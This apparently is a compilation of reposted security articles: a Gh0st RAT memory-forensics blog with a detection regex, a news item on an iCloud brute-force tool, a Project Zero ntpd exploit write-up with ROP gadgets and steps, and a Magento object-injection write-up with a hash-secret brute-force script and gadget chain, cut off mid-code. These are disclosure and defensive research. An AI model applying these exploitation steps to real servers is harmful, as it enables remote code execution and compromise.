Hunting and Decrypting Communications of Gh0st RAT in Memory This blog post contains the details of detecting the encrypted Gh0st RAT communication, decrypting it and finding malicious Gh0st Rat artifacts (like process, network connections and DLL) in memory. I also present a Volatility (Advanced Memory Forensics Framework) plugin (ghostrat) which detects the encrypted Gh0st RAT communication, decrypts it and also automatically identifies the malicious Gh0st RAT process, its associated network connections and the loaded DLL's. This can help the digital forensic investigators and incident responders to quickly narrow down on the Gh0st RAT artifacts without having to spend time on the manual investigation. 1. Introduction Gh0st RAT is a Remote Access Trojan used in many cyber espionage/targeted attacks like "Gh0stnet" which was targeted against compromise of computer systems owned by the Private Office of the Dalai Lama, and several other Tibetan enterprises. Gh0st RAT was also used to attack large corporations in the oil and gas industry dubbed as "Operation Night Dragon" by McAfee. This malware has multiple capabilities which allows the attackers to take control of the infected machine some of them include screen control, keystroke logging, webcam eavesdropping, voice monitoring, and remote file downloads. More details of this malware can be found in this whitepaper titled "Know Your Digital Enemy" When a host is infected with Gh0st RAT, the malware collects the system information, encrypts the collected information and sends it to the C2 (command and control) server. In this blog I will show how this communication takes place and how this communication can be detected and decrypted in memory using a Volatility plugin. 2. Network Communications of Gh0stRat An example of Gh0st RAT traffic communication is shown below, this traffic contains 13 byte header, the first 5 bytes (called the Magic header) is a keyword in clear text like 'Gh0st' and the rest of the bytes are encoded using zlib compression algorithm (marked in green). Different variants use different magic headers and some variants use more than 5 byte magic headers Below screenshots show variants of Gh0st RAT using different magic headers 3. Why Volatility Plugin? There exists a Gh0st decode module in "chopshop" which can decrypt the Gh0st RAT communication from the packet capture(pcap), But while Investigating a real incident there exist some challenges like: a) Organization might not have a full packet capture solution It is not possible to trace back the malicious process even if the packet capture (pcap) is available c) It is not possible to trace back the malicious DLL using the packet capture Memory Forensics can help in overcoming these challenges so I decided to write a Volatility plugin which could identify from the memory image the encrypted Gh0st RAT communication, decrypt it and also identify the malicious process, network communications associated with that malicious process and the DLL's loaded by that malicious process. This can help the Investigators and the incident responders to not only decrypt the malicious communication but also to quickly identify the malicious Gh0st RAT artifacts in an automated way. 4. Detecting Gh0st RAT manually using memory image In this section I show the technique to detect the encrypted Gh0st RAT communication from the memory image manually using Volatility advanced memory forensics framework. 4.1. Detecting Gh0st RAT network communication Even though the Gh0st RAT variants change the magic keyword, it still follows a pattern in its network communication which can be detected using the regular expression shown below. /[a-zA-z0-9:]{5,16}..\x00\x00..\x00\x00\x78\x9c/ In order to detect this pattern in memory, Volatility’s yarascan plugin can be used against the memory image. The below screenshots shows the encrypted traffic detected in kernel memory. Once the encrypted traffic is detected, it can then be decrypted. 4.2. Detecting malicious Gh0st RAT process From an incident response perspective it is important to determine the malicious Gh0st RAT process. Once the network traffic is detected in memory, we can get the magic keyword from the network traffic (in this case Gh0st) and then look for the process that contains this magic keyword. The below screenshot shows the process (svchost.exe with pid 408) which contains the magic keyword (Gh0st). 5. Automating Gh0st RAT detection using Volatility plugin In this section, I present a Volatility plugin (ghostrat), which automates steps mentioned in the section 4 by: Looking for the Gh0st RAT network traffic pattern in kernel memory Extracting the magic keyword from detected pattern and decrypting the communication. Determining the malicious process by searching for the magic keyword in the user process memory Determining the network connections made by the malicious process Determine the DLL's loaded by the malicious process Below screenshot shows the ghostrat Volatility plugin. This plugin can be downloaded from GitHub or from Volatility Plugin Contest 2014. To use the plugin just copy it to the Volatility plugins directory. After copying the plugin, the Volatility's plugin system will automatically register the plugin as shown below 6. Detecting and decrypting multiple variants of Gh0stRat using Volatility plugin In order to demonstrate the capabilities of the plugin, I analyzed multiple variants of Gh0stRat samples in the sandbox and collected the pcap and the memory image. The below screenshot show the pcaps and the memory (.vmem files) images of three different Gh0stRat samples. The First two samples were run on Windows XP SP3 and third sample was run on Win7SP0x86 6.1. Investigating the first sample (Gh0st.vmem and Gh0st.pcap) The below screenshot shows the Gh0stRat communication. In this case the infected host 192.168.1.100 (which is the Windows XP machine where the sample was run) is sending the encrypted traffic to C2 (192.168.1.2 which is my Linux machine acting as C2) on port 2011, also in this case the magic keyword "Gh0st" was sent in the first 5 bytes After running the plugin against the memory image (Gh0st.vmem), it detected the encrypted traffic in the memory and decrypted it, it also detected malicious process as svchost.exe process (with pid 408). In the Decrypted traffic shown below, the system information is passed to the command and control server. The value shown in blue (05 00 00 00) which should be read as 00 00 00 05 (because of the little endian) format is the major version of the operating system which is 5. The value shown in green (01 00 00 00) should be read as 00 00 00 01 is the minor version of the Operating system which is 1. So looking at these two values we can tell which OS was infected. In this case it is 5.1 which is Windows XP The values shown in yellow (28 0a 00 00) should be read as 00 00 0a 28 is the build number of the operating system which in decimal is 2600. This is the build number of windows XP. From the decrypted communication it can be seen that the Service Pack (service pack 3) and the Hostname (in this case it is "myhostname") of the infected machine is also passed to the attacker The Volatility plugin was able to automatically detect svchost.exe (with pid 408) as the malicious process, The plugin also detected malicious network communication associated with svchost.exe (with pid 408). The below screenshot also shows the connection to the IP 192.168.1.2 on port 2011( this is the same traffic captured in the pcap). This can help the investigators to quickly determine the C2 ip involved in the compromise. svchost.exe is the legitimate OS process, and also the functionality of svchost.exe is to load DLL's running as service, so there is a possibility that svchost.exe loaded a malicious DLL. It's important from an incident response perspective to find the malicious DLL. Once the malicious process is identified, the plugin also lists all the DLL's loaded by the malicious process. This can help the investigators to quickly pin point on a malicious DLL. The below screenshot shows the suspicious file loaded by the svchost.exe (pid408). After dumping this suspicious file from memory and submitting to VirusTotal, Antivirus vendors detect this as (Magania/Farfli) which is same as Gh0strat. 6.2. Investigating the second sample (HEART.vmem and HEART.pcap) The below screenshot shows the Gh0stRat communication with 192.168.1.2 on port 2013, in this case the magic keyword "HEART" was sent in the first 5 bytes After running the plugin against the memory image (HEART.vmem), it detected the encrypted traffic in the memory and decrypted it, it also detected malicious process as Garss.exe process (with pid 124). Plugin also detected the malicious communication to the IP 192.168.1.2 on port 2013 (that we saw in the pcap) which is associated with process Garss.exe (with pid 124). It also detected all the DLL's loaded by the malicious process. From the below screenshot it can be seen that a malicious DLL is loaded by the process(Garss.exe) 6.3. Investigating the Third sample - Windows7 image (win7_cb1st.vmem and win7_cb1st.pcap) The below screenshot shows the Gh0stRat communication with 192.168.1.3 on port 8000, in this case the magic keyword "cb1st" was sent in the first 5 bytes After running the plugin against the Windows 7 memory image (win7_cb1st.vmem), it detected the encrypted traffic in the memory and decrypted it, it also detected malicious process as svchost.exe process (with pid 840). Based on the major, minor version and the build number ((highlighted in blue, green and yellow) from the decrypted traffic it can be determined that the infected OS is Windows 7 and the hostname of the infected machine is "win7-sandbox" Plugin also detected the malicious communication to the IP 192.168.1.3 on port 8000(that we saw in the pcap) which is associated with process svchost.exe (with pid 840). The plugin also detected all the DLL's loaded by the malicious process. From the below screenshot it can be seen that a malicious DLL is loaded by the process(svchost.exe) This blog post explained the details of Gh0stRat communication and showed the method to detect it manually using Volatility advanced memory forensics framework. I also presented a plugin that detects the malicious process, network communication, Loaded DLL's and decrypts the network communication of multiple variants of Gh0stRat in an automated way. This allows the incident responders/Investigators to quickly detect the malicious Gh0stRat artifacts, C2 ip and it also helps in determining the type of information that was exchanged between the infected host and the C2 server. Thanks to core developers of Volatility for their encouragement, for being an inspiration and for authoring one of the best books i have read last year and many years to come "The Art of Memory Forensics": Michael Ligh (@iMHLv2), Andrew Case (@attrc), Jamie Levy (@gleeda) and Aaron Walters(@4tphi). Special thanks to Michael Ligh for going through my content and suggesting the changes (inspite of his busy schedule) and also for suggesting me to submit the plugin to the Volatility Plugin Contest 2014 Posted Yesterday by Monnappa KA Sursa: Malware Forensics Research Blog: Hunting and Decrypting Communications of Gh0st RAT in Memory

Hacker Releases New Tool to Brute-Force Attack iCloud Passwords Posted on January 3, 2015 by Waqas Reports emerged of a new tool claiming the ability to successfully carry out password dictionary attacks on any iCloud account without being detected by Apple’s security. It seems that the vulnerability has just been patched and anyone trying to use this tool is being locked out of repeated password attempts. Earlier in September, Apple had reported that it had already patched up one hole that allowed brute-force attacks like these. The tool’s source code, released on GitHub, showed nothing extremely advanced. It just attempts every possible word out of its give 500 word list and tries it out for the password of any iCloud account email. The tool, judging from its source code, does not show that it will succeed at cracking passwords. Passwords that are not from the 500-word dictionary present in this tool are safe but it still posed a risk as many people do use simple dictionary words as their iCloud passwords. While this tool was crude and unsuccessful, more weathered hackers could develop it and use a much larger word list to use than this one. Apple appears to have resolved the hack now which simply relied on pretending to be an iPhone device. What is surprising is that fact that Apple allows indefinite requests without turning towards password locking after a certain number of requests for instance. At the same time this was happening, the Photos app for iCloud has been pulled and it is not yet clear if there is a connection between both stories. Sursa: http://hackread.com/brute-force-attack-icloud-passwords/

Finding and exploiting ntpd vulnerabilities Posted by Stephen Röttger, Time Lord [Foreword by Chris Evans: this post by Stephen represents the first Project Zero guest blog post. From time to time, we’ll be featuring guest blog posts for top-tier security research. In this instance, we’ve been impressed by the remotely exploitable nature of these vulnerabilities, as well as the clever chain of bugs and quirks that eventually leads to remote code execution. You’ve probably seen the recent ntpd vulnerability disclosures and this blog post tells the story from one of the researchers who discovered the issues. Over to Stephen…] A few months ago I decided to get started on fuzzing. I chose the reference implementation of the Network Time Protocol (NTP), ntpd, as my first target, since I have somebackground with NTP and the protocol seemed simple enough to be a good learning experience. Also, ntpd is available for many platforms and widely in use, including being part of the default OS X installation. While looking at the source to get a better understanding of the protocol I noticed that its processing is far more complex than I expected. Besides the time synchronization packets, ntpd supports symmetric and asymmetric (Autokey) authentication and so called private and control mode packets that let you query the daemon for stats or perform configuration changes (if I’m not mistaken, this is the protocol spoken by ntpdc and ntpq respectively). I quickly stumbled over a bug in the code processing Autokey protocol messages and decided to dig deeper and perform a manual code review of the other parts as well. This resulted in finding CVE-2014-9295 and writing my first ever OS X exploit for which I will present a write up today. tl;dr: a global buffer overflow can be triggered on common configurations by an attacker on the local network through an IPv6 packet with a spoofed ::1 source. If your ntpd is not patched yet, add nomodify or noquery to every restrict line in your config, even the ones for localhost. But enough of that, let's jump into the details. The Bug The most severe bug that turned out to be exploitable on OS X Mavericks is a buffer overflow in the code which handles control packets. Control mode responses are fragmented if they exceed the size of the buffer used to store them, as implemented in the following function: static void ctl_putdata( const char *dp, unsigned int dlen, int bin /* set to 1 when data is binary */ ) { //[...] /* * Save room for trailing junk */ if (dlen + overhead + datapt > dataend) { /* * Not enough room in this one, flush it out. */ ctl_flushpkt(CTL_MORE); } memmove((char *)datapt, dp, (unsigned)dlen); datapt += dlen; datalinelen += dlen; } As you can see, if the data to be written doesn't fit into the remaining buffer space <ctl_flushpkt> is called, which will send out the current packet and reset the datapt to point to the beginning of the buffer. However, memmove will be called in any case and if dlen is bigger than the total buffer size it will overflow the buffer. Note that the overflow happens in a global buffer and thus stack cookies won’t help in this case. So let's see if we can find a code path that will trigger this. In most invocations, the data to be written comes from a fixed size buffer that is smaller then the output buffer and thus won't overflow. The function <configure> which handles ntp.conf style remote configurations sent by a privileged client will send any error messages back to the client using <ctl_putdata>. By sending a configuration with enough errors, the error message string will exceed the buffer size. However, the fact that the written data is restricted to a fixed set of error messages makes exploitation difficult. A more powerful overwrite can be found in <read_variables>. The NTP daemon keeps a list of name=value variables that can be set through the configuration and read back with a control mode packet. If a variable bigger than the output buffer is read back, it will overflow and corrupt whatever is stored behind the buffer. Setting Variables So how can we set variables? As mentioned before, there is a control mode packet through which we can send configuration commands to ntpd and thereby set any variable we want. But this is obviously a privileged operation and protected by two mechanisms: Access to private and control mode queries can be restricted in ntp.conf based on the source IP. Default installations usually prohibit these queries for every source IP except for 127.0.0.1 and ::1. This is what e.g. Ubuntu, Debian and OS X do. The packet needs to be authenticated with a MAC for which the shared key has to be specified in ntp.conf, which again shouldn't be set on default installations. Bypassing the first one is actually not that hard if you’re on the same network. As we all know IP addresses can be spoofed. But can we spoof the address of localhost? It turns out OS X and the Linux Kernel behave similarly in this case. Any IP packet arriving on an external interface and with the source IP 127.0.0.1 will be dropped immediately. But if we use IPv6 instead we can actually spoof ::1 and send control mode packets to the daemon (some Linux distributions have firewall rules in place that protect against this, e.g. Red Hat). Thus, if we are on the same local network, we can send spoofed packets to the link-local address of the target and bypass the IP restrictions. But what about requirement number 2? This one sounds tough: how can you have a valid MAC if no key is specified? Quest for the Key Let’s back up and discuss a little bit of background first. Through ntp.conf you can specify multiple keys and assign key ids to them. These key ids can then be assigned to different roles, i.e., a requestkey can be used to authenticate private mode packets and a controlkey is used for control mode packets. We need a controlkey to send our configuration requests but a requestkey would actually suffice since a private mode packet exists that will set the controlkey id to a specified value. And that’s where another bug comes into play that was discovered by Neel Mehta. Let’s take a look what ntpd does if no requestkey was specified in the config: /* if doesn't exist, make up one at random */ if (authhavekey(req_keyid)) { //[...] } else { unsigned intrankey; rankey = ntp_random(); req_keytype = NID_md5; req_hashlen = 16; MD5auth_setkey(req_keyid, req_keytype, (u_char *)&rankey, sizeof(rankey)); authtrust(req_keyid, 1); } That’s right, if no key was specified, a random 31 bit key will be generated, which means we can brute force it by sending 2^31 packets to the vulnerable daemon with a 68 byte payload each. But wait, there’s more! The random key is created by a custom random number generator implementation that is seeded with a 32 bit value and we can get the output of this generator through standard time synchronization requests. Part of the receive timestamp that we get by querying the time from the daemon is a random value from this generator and each query allows us to recover around 12 bits of the output which we can use to brute force the seed offline. However, the feasibility of a naive brute force approach highly depends on the uptime of ntpd since the number of random values that have been created will increase the search space. To give an idea of the time complexity, my single core implementation takes a few hours on my laptop even if I limit the search space to the first 1024 random values, but you can throw more cores at the problem or precompute as much as possible and build a lookup table. At this point, we have an overflow in a global buffer that can be triggered remotely on standard configurations. Neat! The Overflow Now that we have the key, we can send configuration commands and write arbitrary variables. When reading them back from the daemon, you can optionally specify the variables that you’re interested in. ntpd will iterate through them, write them (separated by a comma) to the global buffer through the function <ctl_putdata> and finally flush them out with <ctl_flushpkt>. There are still some restrictions on this overflow that make exploitation notably harder. We can’t write 0x00, 0x22 (“) and 0xff. Some data will be appended after our overwrite. That is, “, “ between two variable writes and “\r\n” on the final flush. How to proceed from here depends on which OS/distribution/architecture you target since protection mechanisms and the memory layout of the global data structures will differ. A few examples: On x64, the inability to write null bytes prevents us from completely overwriting pointers since the most significant bytes are null bytes. This poses a problem since “\r\n” is appended to our data, which will limit the control over partial pointer overwrites. On x86 however, this shouldn’t be an issue. At least on Debian, some compile time protections are not enabled for ntpd. I.e. the executable is not position independent and the global offset table (GOT) is writable during runtime. On OS X Mavericks, the datapt variable which points to the current position in the buffer is located after the buffer itself while on Debian and Ubuntu the pointer is in front of the buffer and can’t be overwritten. I chose to try my luck on a 64 bit OS X Mavericks. Since I have no prior experience with OS X, please bear with me if I missed something obvious or use the wrong nomenclature . The environment looks like this: The binary, stack, heap and shared libraries are individually randomized with 16 bit entropy. The address of the shared libraries is randomized at boot time. On a crash, ntpd is restarted automatically with approximately 10 seconds delay. ntpd is compiled with stack cookies (which doesn’t matter in our case since we overflow a global buffer). The global offset table (GOT) is writable during runtime. For a reliable exploit we will have to bypass ASLR somehow, so let’s leak some pointers. This one is actually quite easy since the datapt variable, which as you might remember points to the current write location, is located after the buffer itself: We just have to overwrite the two least significant bytes of the datapt variable and as a consequence, ntpd will miscalculate the length and send you data after the buffer which leaks a pointer into the ntpd binary as well as a heap pointer. After that, the datapt variable is conveniently reset to point to the beginning of the buffer again. Note that usually “\r\n” would get appended to our data and corrupt the partial pointer overwrite. But since we overwrite the write pointer itself, the newline sequence will be written to the new destination instead. With the same trick, we can turn the bug into a slightly restricted write-what-where primitive: partially overwrite the datapt variable to point to where you want to write (minus a few bytes to make room for the separator) and then write arbitrary data with a second ntpd variable. Again, the fact that garbage is appended to our data is no issue for the first write since it will be written to the new location instead and won’t corrupt the pointer. Note that we can only write arbitrary data in front of the buffer since a higher address will trigger a flush and reset the datapt (after writing the separator, so this might still be used to corrupt a length field). Unfortunately, the appended bytes still pose a problem. If we try to do a partial pointer overwrite through this, the “\r\n” sequence will always corrupt the pointer before it is used. Well, almost always. The GOT, and this took me way too long to figure out, is actually writable and used twice before our overwrite gets corrupted by the addition of “\r\n”. Between writing a variable and flushing the packet, <strlen> and <free> are called. That means, if we partially overwrite the GOT entry of either of those functions, the pointer will be used before it gets corrupted and we control rip. Info leak, again Since we know the base address of the binary and can overwrite GOT entries we can just find a nice gadget in the binary and jump to it, right? Unfortunately, that doesn’t work. To see why, let’s take a look at a couple of example addresses from the binary and libsystem_c: 0x000000010641c000 /usr/sbin/ntpd 0x00007fff88791000 /usr/lib/system/libsystem_c.dylib The addresses of system libraries have two null bytes as their most significant bytes while the binary address starts with three null bytes. Thus if we overwrite the GOT entry of <strlen> with an address from the binary, there will still be 0x7f byte left from the library address (remember: we can’t write nul bytes). To obtain the address of a system library we could try to turn our overwrite into a better leak, e.g. by overwriting some length field. But there is a lazier approach due to a weakness of ASLR on OS X Mavericks. The most common libraries are loaded in the split library region (as “man vmmap” calls it) which is shared by all processes in the system. The load address of this region is randomized during boot. This means that the addresses stay the same if a program is restarted and that even libraries which are not used by the program are loaded in its address space and can be used for ROP gadgets. This and the fact that ntpd is restarted automatically when it crashes makes it possible to brute force the library addresses for <strlen> (libsystem_c) or <free> (libsystem_malloc) bytewise. If you reboot your system a few times, you can observe that the load address of the split library region is always of the form 0x00007fff8XXXX000, providing 16 bit of entropy or 17 bit in our case since the region can extend to 0x00007fff9XXXX000. Let’s use the libsystem_c address from the example before: 0x00007fff88791000. We know that <strlen> is located at offset 0x1720and thus 0x00007fff88792720is the address we’re trying to brute force. We start by brute forcing the upper 4 bits of the second least significant byte. We overwrite the GOT entry of <strlen> with 0x0720, resulting in the new entry 0x00007fff88790720. Since we didn’t hit the correct address ntpd will crash and won’t send us any replies anymore. In that case, we increment the address to 0x1720 and try it again. If ntpd does send us a reply, which will happen at 0x2720, we know that we found the correct byte and continue with the next one (0x012720). This way, we can recover the libsystem_c address in 304 tries (4 bit + 8 bit + 5 bit) in the worst case. OS X will restart ntpd approximately every 10 seconds but you will need to brute force the key anew for every try, so bring your supercomputer. Also, if you’re unlucky you will run into an endless loop and ntpd has to be killed manually. Arbitrary Code Execution If it wasn’t for the fact that ntpd runs in a sandbox we would be finished now. Just overwrite the GOT entry of <strlen> with the address of <system> and execute arbitrary commands since it will get called with a user controlled string. But all you get out of this is the following line in /var/log/system.log: sandboxd[405] ([41]): ntpd(41) deny process-exec /bin/sh Instead, we need to find a nice gadget to control the stack pointer and make it point to a ROP chain. The usual way to do this would be a stack pivot but the data we control on the stack is limited. On the stack, we control data in 3 locations which we can fill with arbitrary pointers, this time without any restrictions. Besides that, we completely control the contents of a global buffer at a known address in the binary and if we can get the stack pointer (rsp) to point to this buffer we can execute an arbitrary ROP chain. Since our exploit overwrites the GOT, we only control the instruction pointer once, i.e. we can’t chain multiple calls. Thus, our first gadget needs to increment the stack pointer by either 0x80, 0x90 or 0xb8 so that it will use one of our addresses on return and do something useful at the same time. Fortunately, I found the following gadget in libsystem_c.dylib: add rsp, 0x88 pop rbx pop r12 pop r13 pop r14 pop r15 pop rbp ret This gadget returns to our address at rsp+0xb8 and at the same time loads the value from rsp+0x90 into r12. Since we now control a register, we can chain gadgets that end in a call qword [reg+n] where reg points to the global buffer that we control. For example, the second gadget looks like this: mov rdi, r12 mov rsi, r14 mov rdx, r13 call qword [r12+0x10] With a few gadgets of this kind, we control rsi and can load it into rsp: push rsi pop rsp xor eax, eax pop rbp ret And with that, we’re done. This will crash on a ret instruction with rsp pointing to user-controlled and thus arbitrary code execution is straightforward. Since we control the stack, we can build a ROP chain that loads and executes shellcode and from there try to break outof the sandbox by attacking the kernel or IPC channels. But that is left as an exercise for the reader . Exploit Summary Send a bunch of regular time synchronization requests to leak random values. Brute force the seed and calculate the requestkey (which has the keyid 65535). Send a private mode packet signed with the requestkey and with a spoofed source IP of ::1 to the server to set the controlkey id to 65535. Send a configuration change to lift all restrictions for our IP address. Add our IP to get async notifications (we have to do this, since we overwrite a flag later that triggers if responses are sent directly or asynchronously). Trigger the overflow by setting a long variable and reading it back and leak the binary base address. Use the overflow again as a write-what-where primitive to brute force the address of <strlen> bytewise. Prepare the data on the stack and in the global buffer. Call the gadgets to control rsp and execute a ROP chain. Mitigation In case your ntpd is not patched yet, these bugs can be effectively protected against through changes in your ntp.conf. The vulnerable <ctl_putdata>function is used by the processing of control mode packets and this can be blocked completely by adding “noquery” to every restrict line in the configuration. As explained before, it is important to also add “noquery” to the restrict lines for localhost, since the IP based access restrictions can often be bypassed through spoofing. But note that this will prevent ntpq from working and you won’t be able to query for peer information and other stats anymore. For example, if your configurations includes multiple “restrict” lines: restrict default kod nomodify notrap nopeer noquery restrict -6 default kod nomodify notrap nopeer noquery restrict 127.0.0.1 restrict -6 ::1 make sure that “noquery” is included in all of those: restrict default kod nomodify notrap nopeer noquery restrict -6 default kod nomodify notrap nopeer noquery restrict 127.0.0.1 noquery restrict -6 ::1 noquery Posted by Chris Evans at 4:28 AM Sursa: Project Zero: Finding and exploiting ntpd vulnerabilities

Magento 1.9.0.1 PHP Object Injection Recently, I found a PHP Object Injection (POI) vulnerability in the administrator interface of Magento 1.9.0.1. Magento is an e-commerce software written in PHP that was acquired by Ebay Inc. A bug bounty program is run that attracts with a 10,000$ bounty for remote code execution bugs. A POI vulnerability can lead to such a remote code execution, depending on the gadget chains the attacker is able to trigger. Sadly I stopped investigating the POI vulnerability and resumed 1 week later – a fatal error. When I continued investigating exploitable gadget chains, Magento pushed an update in the meantime that patches several security issues. The POI is not mentioned anywhere, but it is fixed by replacing the affected unserialize() call with json_decode(). So no bug bounty, but the exploitation is still worth a look at because it includes a hash verification bypass and a cool gadget that allowed full code coverage in gadget chaining. In the end, an attacker can execute arbitrary code on the targeted server. However, administrator privileges are required. 1. PHP Object Injection In Magento 1.9.0.1, the method tunnelAction() of the administrator’s DashboardController is affected by a POI vulnerability. It deserializes user data supplied in the ga parameter. [TABLE] [TR] [TD=class: gutter]86 87 88 89 90 91 92 93 94[/TD] [TD=class: code]// app/code/core/Mage/Adminhtml/controllers/DashboardController.php public function tunnelAction() { $gaData = $this->getRequest()->getParam('ga'); $gaHash = $this->getRequest()->getParam('h'); if ($gaData && $gaHash) { $newHash = Mage::helper('adminhtml/dashboard_data')->getChartDataHash($gaData); if ($newHash == $gaHash) { if ($params = unserialize(base64_decode(urldecode($gaData)))) { [/TD] [/TR] [/TABLE] A closer look reveals, however, that the base64 encoded, serialized data is protected with a hash from manipulation. The hash of the gaData is generated with the method getChartDataHash() and is then compared to the hash supplied in the h parameter. Only if both hashes match, the data is deserialized. Lets get some sample data. The tunnelAction() is triggered, when the dashboard graph is loaded. [TABLE] [TR] [TD=class: gutter]61 62[/TD] [TD=class: code]// app/design/adminhtml/default/default/template/dashboard/graph.phtml <img src="<?php echo $this->getChartUrl(false) ?> [/TD] [/TR] [/TABLE] Here, the method getChartUrl() serializes graph parameters and creates the gaHash of the base64 encoded gaData. [TABLE] [TR] [TD=class: gutter]446 447 448 449 450 451 452 453[/TD] [TD=class: code]// app/code/core/Mage/Adminhtml/Block/Dashboard/Graph.php function getChartUrl() { ... $gaData = urlencode(base64_encode(serialize($params))); $gaHash = Mage::helper('adminhtml/dashboard_data')->getChartDataHash($gaData); $params = array('ga' => $gaData, 'h' => $gaHash); return $this->getUrl('*/*/tunnel', array('_query' => $params)); }[/TD] [/TR] [/TABLE] The following request is generated and can be intercepted: [TABLE] [TR] [TD=class: gutter]1 2 3[/TD] [TD=class: code]/index.php/admin/dashboard/tunnel/key/803e506c399449c72975fc1fcc2c0435/ ?ga=eyJjaHQiOiJsYyIsImNoZiI6ImJnLHMsZjRmNGY0fGMsbGcsOTAsZmZmZmZmLDAuMSxlZGVkZWQsMCIsImNobSI6IkIsZjRkNGIyLDAsMCwwIiwiY2hjbyI6ImRiNDgxNCIsImNoZCI6ImU6IiwiY2h4dCI6IngseSIsImNoeGwiOiIwOnx8fDk6MDAgdm9ybS58fHwxMjowMCBuYWNobS58fHwzOjAwIG5hY2htLnx8fDY6MDAgbmFjaG0ufHx8OTowMCBuYWNobS58fHwxMjowMCB2b3JtLnx8fDM6MDAgdm9ybS58fHw2OjAwIHZvcm0ufDE6fDB8MSIsImNocyI6IjU4N3gzMDAiLCJjaGciOiI0LjM0NzgyNjA4Njk1NjUsMTAwLDEsMCJ9 &h=61f3757d04b665baac6f8176a2012337[/TD] [/TR] [/TABLE] We can base64 decode the data in the ga parameter (line 2) and modify the serialized parameters in order to exploit the PHP Object Injection vulnerability. However, we then have to generate a valid hash for our malformed data and replace it with the hash in the h parameter (line 3). Otherwise, our manipulated data is not deserialized. 2. Hash Verification Lets have a look at how the hash is generated and if we can forge it for manipulated data. The hash is created in the getChartDataHash() method by calculating the MD5 hash of the base64 encoded data concatenated with a secret. If we know this secret, we can generate our own hash for our modified gaData. [TABLE] [TR] [TD=class: gutter]86 87 88 89 90 91[/TD] [TD=class: code]// app/code/core/Mage/Adminhtml/Helper/Dashboard/Data.php public function getChartDataHash($data) { $secret = (string)Mage::getConfig()->getNode(Mage_Core_Model_App::XML_PATH_INSTALL_DATE); return md5($data . $secret); } [/TD] [/TR] [/TABLE] Luckily, the secret is cryptographically very weak. As the constant’s name suggests, the config value XML_PATH_INSTALL_DATE refers to the date of the Magento installation in RFC 2822 format. For example, the secret date could look like the following: [TABLE] [TR] [TD=class: gutter]1[/TD] [TD=class: code]Sat, 1 Nov 2014 21:08:46 +0000[/TD] [/TR] [/TABLE] Assuming that the installation was performed maximum 1 year ago, there are less than 31 * 12 * 24*60*60 = 32 Mio possibilities. We can take the intercepted sample data to bruteforce the secret date locally. Furthermore, we can narrow down the possible date window by observing the HTTP response header of the targeted web server. For example, the HTTP response for a request of the favicon file tells us its last modification date: [TABLE] [TR] [TD=class: gutter]1 2[/TD] [TD=class: code]Request: GET /favicon.ico HTTP/1.0[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: gutter]1 2[/TD] [TD=class: code]Response If-Modified-Since: Wed, 05 Nov 2014 09:06:45 GMT [/TD] [/TR] [/TABLE] This should equal to the exact date when the installation files were copied to the server. We can then assume, that the installation was performed at least within the same month when this file was extracted. Also, it tells us the timezone (here GMT) used by the server. This leaves us only with 30 * 24*60*60 = 2.6 Mio possibilities which can be bruteforced within a few seconds. [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9 10 11 12 13 14 15[/TD] [TD=class: code]$gaData = 'eyJjaHQiOiJsYyIsImNoZiI6ImJnLHMsZjRmNGY0fGMsbGcsOTAsZmZmZmZmLDAuMSxlZGVkZWQsMCIsImNobSI6IkIsZjRkNGIyLDAsMCwwIiwiY2hjbyI6ImRiNDgxNCIsImNoZCI6ImU6IiwiY2h4dCI6IngseSIsImNoeGwiOiIwOnx8fDk6MDAgdm9ybS58fHwxMjowMCBuYWNobS58fHwzOjAwIG5hY2htLnx8fDY6MDAgbmFjaG0ufHx8OTowMCBuYWNobS58fHwxMjowMCB2b3JtLnx8fDM6MDAgdm9ybS58fHw2OjAwIHZvcm0ufDE6fDB8MSIsImNocyI6IjU4N3gzMDAiLCJjaGciOiI0LjM0NzgyNjA4Njk1NjUsMTAwLDEsMCJ9'; $hash = '61f3757d04b665baac6f8176a2012337'; date_default_timezone_set('GMT'); // Wed, 05 Nov 2014 09:06:45 GMT $timestamp = mktime(9, 6, 45, 11, 5, 2014); $today = time(); for($i=0;$i<2592000 && $timestamp<$today; $i++) { $secret = date(DATE_RFC2822, $timestamp++); if(md5($gaData . $secret) === $hash) { echo $secret; break; } }[/TD] [/TR] [/TABLE] Once we obtained the secret, we can alter the serialized data and create a valid hash for it, so our data is deserialized by the server. That means we can inject arbitrary objects into the application and trigger gadget chains by invoking the object’s magic methods (for more details please refer to our paper). 3. Gadget Chain Magento’s code base is huge and many interesting initial gadgets (magic methods) can be found that trigger further gadgets (methods). For example, the usual File Deletion and File Permission Modification calls can be triggered in order to delete files. This is partly interesting in Magento, because the deletion of the /app/.htaccess file allows to access the /app/etc/local.xml file which contains the crypto key. However, since we own already administrative privileges, we are interested in more severe vulnerabilities. It turns out, that the included (and autoloaded) Varien library provides all gadgets we need to execute arbitrary code on the server. The deprecated class Varien_File_Uploader_Image provides a destructor as our initial gadget that allows us to jump to arbitrary clean() methods. [TABLE] [TR] [TD=class: gutter]356 357 358 359 360[/TD] [TD=class: code]// lib/Varien/File/Uploader/Image.php:357 function __destruct() { $this->uploader->Clean(); }[/TD] [/TR] [/TABLE] This way, we can jump to the clean() method of the class Varien_Cache_Backend_Database. It fetches a database adapter from the property _adapter and executes a TRUNCATE TABLE query with its query() method. The table name can be controlled by the attacker by setting the property _options[‘data_table’]. [TABLE] [TR] [TD=class: gutter]249 250 251 252 253 254 255 256 257 258 259 260 261[/TD] [TD=class: code]// lib/Varien/Cache/Backend/Database.php public function clean($mode = Zend_Cache::CLEANING_MODE_ALL, $tags = array()) { $adapter = $this->_adapter; switch($mode) { case Zend_Cache::CLEANING_MODE_ALL: if ($this->_options['store_data']) { $result = $adapter->query('TRUNCATE TABLE '.$this->_options['data_table']); } ... } }[/TD] [/TR] [/TABLE] If we provide the Varien_Db_Adapter_Pdo_Mysql as database adapter, its query() method passes along the query to the very interesting method _prepareQuery(), before the query is executed. [TABLE] [TR] [TD=class: gutter]421 422 423 424 425 426 427 428 429 430 431 432[/TD] [TD=class: code]// lib/Varien/Db/Adapter/Pdo/Mysql.php public function query($sql, $bind = array()) { try { $this->_checkDdlTransaction($sql); $this->_prepareQuery($sql, $bind); $result = parent::query($sql, $bind); } catch (Exception $e) { ... } } [/TD] [/TR] [/TABLE] The _prepareQuery() method uses the _queryHook property for reflection. Not only the method name is reflected, but also the receiving object. This allows us to call any method of any class in the Magento code base with control of the first argument – a really cool gadget found by the new RIPS prototype. [TABLE] [TR] [TD=class: gutter]463 464 465 466 467 468 